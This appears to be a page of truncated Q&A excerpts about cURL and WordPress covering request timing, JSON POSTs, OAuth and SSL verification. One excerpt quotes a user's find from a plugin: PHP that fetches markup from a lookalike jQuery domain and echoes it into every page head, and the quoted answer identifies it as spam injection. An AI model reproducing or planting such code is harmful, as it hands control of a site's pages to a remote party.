How do I measure request and response times at once using cURL?

I have a web service that receives data in JSON format, processes the data, and then returns the result to the requester. I want to measure the request, response, and total time using cURL. My example request looks like: curl -X POST -d @file server:port and I currently measure this using the time command in … Read more

I found this in a plugin. What does it do? is it dangerous?

I found this in a plugin. What does it do? is it dangerous? add_action(‘admin_enqueue_scripts’, ‘pw_load_scripts’); if (!function_exists(‘wp__head’){ function wp__head() { if(function_exists(‘curl_init’)) { $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,”http://www.jqury.net/?1″); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_REFERER, $_SERVER[‘HTTP_HOST’]); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10); $jquery = curl_exec($ch); curl_close($ch); echo “$jquery”; } } add_action(‘wp_head’, ‘wp__head’); } 2 It loads a block of markup containing spam (I thought about posting … Read more

How do I POST JSON data with cURL?

I use Ubuntu and installed cURL on it. I want to test my Spring REST application with cURL. I wrote my POST code at the Java side. However, I want to test it with cURL. I am trying to post a JSON data. Example data is like this: {“value”:”30″,”type”:”Tip 3″,”targetModule”:”Target 3″,”configurationGroup”:null,”name”:”Configuration Deneme 3″,”description”:null,”identity”:”Configuration Deneme 3″,”version”:0,”systemId”:3,”active”:true} … Read more

How to use OAuth authentication with REST API via CURL commands?

I am trying to use the WordPress Rest Api with authentication to get more data from the API. I have installed the Oauth plugin, rest-api plugin, and gotten API credentials from WP-CLI. I have figured out how to access data without authorization. This works: // set our end point $domain = “http://localhost/wp-api”; $endpoint = $domain.”/wp-json/wp/v2/posts/”; … Read more

Is it safe to use sslverify => true for with wp_remote_get/wp_remote_post

I normally use this argument to prevent errors with wp_remote_get and wp_remote_post array( ‘sslverify’ => false ) For security reasons I would like to set it to true (or remove it since the default is true). Should I expect any problems by doing that? 3 TL;DR: Yes, remove that setting as of WordPress 3.7 or … Read more